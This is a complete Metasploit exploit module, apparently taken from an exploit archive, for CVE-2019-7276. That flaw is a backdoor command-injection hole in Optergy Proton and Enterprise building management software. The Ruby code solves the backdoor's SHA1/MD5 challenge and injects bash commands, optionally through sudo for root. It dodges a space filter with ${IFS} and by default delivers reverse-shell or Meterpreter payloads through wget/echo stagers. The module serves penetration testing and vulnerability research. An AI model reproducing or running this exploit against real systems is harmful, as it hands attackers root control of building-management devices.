Exploit for Optergy Proton And Enterprise BMS 2.0.3a Command Injection CVE-2019-7276

## https://sploitus.com/exploit?id=PACKETSTORM:171564
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',  
'Description' => %q{  
This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise  
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.  
Attackers can exploit this issue by directly navigating to an undocumented backdoor script  
called Console.jsp in the tools directory and gain full system access.  
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor  
'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery  
],  
'References' => [  
[ 'CVE', '2019-7276'],  
[ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],  
[ 'URL', 'https://optergy.com/products/proton/' ],  
[ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],  
[ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],  
[ 'EDB', '47641'],  
[ 'PACKETSTORM', '155258']  
],  
'DisclosureDate' => '2019-11-05',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => { 'BadChars' => "\x20" },  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])  
]  
)  
end  
  
def execute_command(cmd, _opts = {})  
# Step 1: get the challenge and compute the response answer for the backdoor execution  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')  
})  
if res.nil? || (res.code != 200)  
return nil  
else  
# Get and create a challenge response  
res_json = res.get_json_document  
return nil if res_json.nil? || res_json.blank?  
  
# Get the challenge  
challenge = res_json['response']['message']  
# Make SHA1 hash from received challenge  
h1 = Digest::SHA1.hexdigest challenge  
# Make MD5 hash from SHA1 hash  
h2 = Digest::MD5.hexdigest h1  
# Combine MD5 hash and SHA1 hash as answer (response) to the challenge  
answer = h1 + h2  
end  
  
# Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.  
if target['Type'] == :linux_dropper  
cmd = cmd.gsub(' ') { '${IFS}' }  
end  
  
if datastore['SUDO']  
payload = "sudo bash -c #{cmd}"  
else  
payload = "bash -c #{cmd}"  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'command' => payload,  
'challenge' => challenge,  
'answer' => answer  
}  
})  
if res.nil? || (res.code != 200)  
return nil  
else  
# get result and return the command response  
res_json = res.get_json_document  
return nil if res_json.nil? || res_json.blank?  
  
res_cmd_output = res_json['response']['message']  
return res_cmd_output  
end  
end  
  
# Checking if the target is vulnerable by executing the whoami command via the backdoor  
def check  
res = execute_command('whoami')  
return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')  
  
Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
res = execute_command(payload.encoded)  
fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager  
end  
end  
end